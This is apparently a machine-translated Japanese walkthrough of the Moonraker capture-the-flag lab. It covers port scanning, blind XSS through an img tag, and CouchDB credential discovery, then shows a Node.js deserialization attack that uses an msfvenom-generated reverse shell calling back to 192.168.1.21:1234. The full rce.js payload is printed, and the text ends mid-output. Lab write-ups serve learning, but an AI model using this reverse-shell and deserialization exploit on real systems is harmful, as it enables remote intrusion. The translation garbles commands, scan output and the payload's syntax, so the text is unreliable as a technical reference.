0x01 序文
Moonrakerシステムを攻撃し、最大の脅威の脆弱性を見つけ、最大の脅威の脆弱性を通じてターゲットマシンシステムを攻撃し、最大の脅威の脆弱性を通じてシステムのルートディレクトリのフラグ情報を取得します。
MoonRaker: 1ミラーダウンロードアドレス:
http://drive.google.com/open?id=13b2ewq5yqre2ubklxz58uhtlfk-shvma
0x02情報コレクション1。存続するホストルート@kali2018:/#arp -scan -lをスキャン
見つかった192.168.1.10は、ターゲットマシンシステムです
2。ポートスキャンNAMPスキャンターゲットマシンポート
root@kali2018:〜#nmap -p -a 192.168.1.10 -open
2019-02-11 16:21 ESTでNMAP 7.70(https://nmap.org)を開始
192.168.1.10のNMAPスキャンレポート
ホストはアップ(0.00077Sレイテンシ)です。
表示されていません: 65529閉じたポート
ポートステートサービスバージョン
22/TCP Open SSHOPENSSH 7.4P1 Debian 10+Deb9U4(プロトコル2.0)
| ssh-hostkey:
| 2048 5F:BF:C03:3:5133604F:4A:A7:4A:7E:153:03:AA3333:D7:2A)
| 256 5:5933608733601E:A4336046:BD:A73360FD:9A:5F:F933:B7333:9DSE)
| _ 256 0D:883360D9:FA:AF:083:CE3:2B:133:6:A73:703:(ed eded
80/TCP Open HTTPAPACHE HTTPD 2.4.25((Debian))
| http-robots.txt: 1無効エントリ
| _/
| _http-server-header: apache/2.4.25(debian)
| _HTTP-TITLE: MOONRAKER
3000/TCP Open httpnode.js Expressフレームワーク
| http-auth:
| http/1.1 401不正\ x0d
| _ BASIC RELM=401
| _HTTP-TITLE:サイトにはタイトルがありません(text/html; charset=utf-8)。
4369/TCPオープンEpmderlangポートマッパーデーモン
| EPMD-INFO:
| EPMD_PORT: 4369
| nodes:
| _ couchdb: 33681
5984/TCP Open CouchDB?
|フィンガープリントストリングス:
| FOROHFORREQUEST:
| HTTP/1.0 404オブジェクトが見つかりません
| CACHE-CONTROL:必見の再評価
| Connection:閉じます
| Content-Length: 58
| Content-Type:アプリケーション/JSON
|日付:月、2019年2月11日21336022:55 GMT
| server: couchdb/2.2.0(erlang otp/19)
| X-Couch-Request-ID: BF092A958F
| x-couchdb-body-time: 0
| {'error':'not_found'、 '理由':'databaseは存在しません。'}
| getRequest:
| HTTP/1.0 200 OK
| CACHE-CONTROL:必見の再評価
| Connection:閉じます
| Content-Length: 164
| Content-Type:アプリケーション/JSON
|日付:月、2019年2月11日21336022:02 GMT
| server: couchdb/2.2.0(erlang otp/19)
| X-Couch-Request-ID: F038A56575
| x-couchdb-body-time: 0
| {'couchdb':'welcome'、 'version ':'2.2.0'、 'git_sha':'2a16ec4'、 'feature ': [' pluggedable-storage-engines '、' scheduler ']、' bendor'3360
| httpoptions:
| HTTP/1.0 500内部サーバーエラー
| CACHE-CONTROL:必見の再評価
| Connection:閉じます
| Content-Length: 61
| Content-Type:アプリケーション/JSON
|日付:月、2019年2月11日21336022:02 GMT
| server: couchdb/2.2.0(erlang otp/19)
| X-Couch-Request-ID: FDEB1A3860
| X-Couch-Stack-Hash: 1828508689
| x-couchdb-body-time: 0
| _ {'error':'unknown_error'、 '理由':'badarg'、 'ref':1828508689}
NMAPスキャン出力は、オープンポートサービスを表示します:22(SSH)、80(HTTP)、110(POP3)、3000(node.js)、4369(epmd)、5984(couchdb)
3。ディレクトリスキャン。ディレクトリスキャンを実行するには、GobusterとDirbusterが好みます。ここでは、Gobusterを使用してターゲットディレクトリスキャンを実行します。
スキャンが完了した後、疑わしいディレクトリが /サービスであることがわかりました
このディレクトリhttp://192.168.1.10/services/services/のリンクアドレスを開くと、Webページの下部にiniriryを送信するハイパーリンクが表示され、ハイパーリンクを開きます。
リンクを開いた後、アフターセールスの連絡先情報ページが表示されます。誰かが提出した情報を照会し、5分以内に私たちに連絡することに注意してください。
ここでは、IMGタグを使用して、リモートサービスのWebサイトアドレスをネストします。 (他のパーティがネストされたXSSにアクセスする限り、リモートサーバーのログが記録され、リクエストログレコードにアクセスします)
情報を送信する前に、Apacheサービスを開始し、/var/www/htmlディレクトリで新しいテストファイルtest.txtを作成し、コンテンツを書き込みます。
root@kali2018:〜#/etc/init.d/apache2 start
[OK] Apache2を開始(SystemCtl経由): Apache2.Service。
root@kali2018:〜#cd /var /www
root@kali2018:/var/www#ls
HTML
root@kali2018:/var/www#cd html/
root@kali2018:/var/www/html#ls
index.html index.nginx-debian.html
root@kali2018:/var/www/html#vi test.txt
root@kali2018:/var/www/html#
Apacheサーバーをテストして、正常にアクセスします
次に、apache2 Access.logを使用して、ターゲットマシンWebサイトのロギングを表示できます。 [送信]をクリックした後、次の図に示されているように、ありがとう提出メッセージを表示しました。
コマンド経由でapacheアクセスログを表示します
Tail -f /var/log/apache2/access.log
ログ:http://192.168.1.10/svc-inq/salesmoon-gui.phpで興味深いHTTP参照アドレスを見つけることができます
0x03脆弱性1.CouchDB情報コレクションBrowserでHTTP参照リクエストアドレスを開きます
次に、「販売管理バックエンドに戻る」のハイパーリンクが表示され、クリックして販売バックエンド管理ログインページに入ります。
次に、couchdbnotesをクリックして、ユーザー名のパスワードに関するいくつかのプロンプトを取得します。
ユーザー名:ジョーズ、パスワード:ジョーズガールフレンド名+ x99
ここでは、ジョーズのガールフレンドをグーグルします
FauxtonシステムのApache CouchDBのユーザー名とパスワードが取得されました。 FauxtonとCouchDBの詳細については、Googel(http://docs.couchdb.org/en/stable/fauxton/install.html)を介してそれらの使用方法を検索できます。
2.CouchDBログインと情報漏れは、ポート5984が開いているためです。 CouchDBログインページ(192.168.1.10:5984/_utils/)を開くことができます。
ここでは、次のようにログイン資格情報を使用します。
username:jaws
Password:Dollyx99
正常にログインして、これらの3つのデータベースで情報を表示しましょう。
リンクデータベースはより多くの情報を公開します
各リンクデータベースのドキュメントをチェックしてください。それぞれにはディレクトリリンクが含まれているためですが、3番目のディレクトリリンクは次の侵入に有用な情報を提供する場合があります。
したがって、3番目のドキュメントへの接続を開き、有用な接続ディレクトリ情報を表示します。
したがって、上記のリンクには、開いた後の人事オフィスメモの情報が表示されます(複数の人の重要な電子メール情報はここに記録されています)
ユーザー名とパスワードがメールでリークされていることがわかります
3.Node.js降下解像度http://192.168.1.10/Raker-Sales/BackEnd Managementページを開き、「Hugoのページがポート3Kに移動した」ページが興味深いことを見つけます(上記の人事メモ記録ページのHugoメール情報と組み合わせて)
このリンクを開いた後、node.jsサーバーとアクセスに関する情報を見ることができます
Hugo's HR Email http://192.168.1.10/hr-Confidential/offer-letters.htmlのユーザー名とパスワード
node.jsにログインするためのユーザー名とパスワードを表示します(ポート3000経由でアクセス)
ログインした後、node.jsサーバーは「set-cookie」メッセージを送信します。
node.jsの崩壊脆弱性については、このリンクアドレスを参照してください。
4.脱力化の脆弱性はNMAPスキャンから出力されます。ポート3000はnode.jsフレームワークアプリケーションであることがわかります。したがって、ブラウザにターゲットIPの3000ポートアプリケーションを開き、ログインユーザーインターフェイスをポップアップします。
username:hugo
Password:TemplelaserSl2K
ログインに正常にログインした後、ページにメッセージが表示されます。このページは役に立たないようですが、次に何をすべきかを理解するために時間をかけた後、非常に興味深いものになります。
F12を開始して、ページのリクエスト情報を表示します。 CookieでBase64エンコード情報を見ました。ここでは、base64エンコーディングにnode.jsのスターリア化の脆弱性を挿入します。
MSFvenomを使用してNodeJSリバウンドシェルを生成します
msfvenom -p nodejs/shell_reverse_tcp lhost=192.168.1.21 lport=1234
ターミナルからrce.jsにmsfvenomを出力します
RCE.JS:
var rev={
rce: function(){var require=global.require || Global.process.mainmodule.constructor._load; if(!require)return; var cmd=(global.process.platform.match(/^win/i))? 'cmd' : '/bin/sh'; var net=require( 'net')、cp=require( 'child_process')、util=require( 'util')、sh=cp.spawn(cmd、[]); var client=this; var counter=0; function stagerrepeat(){client.socket=net.connect(1234、 '192.168.1.21'、function(){client.socket.pipe(sh.stdin); if(typeof util.pump==='undefined'){sh.stdout.pipe(client.socket); util.pump(sh.stdout、socket); socket.on( 'error'、function(error){counter ++; if(counter=10){setimeout(){stagerrepeat();}、5*1000);} else process.exit();}); } stagerrepeat(); }
};
var serialize=require( 'node-serialize');
console.log(serialize.serialize(rev));
ノードrce.jsを実行して、シリアル化された文字列出力を取得します。
root@kali2018:/opt#node rce.js
{'rce':' _ $$ nd_func $$ _ f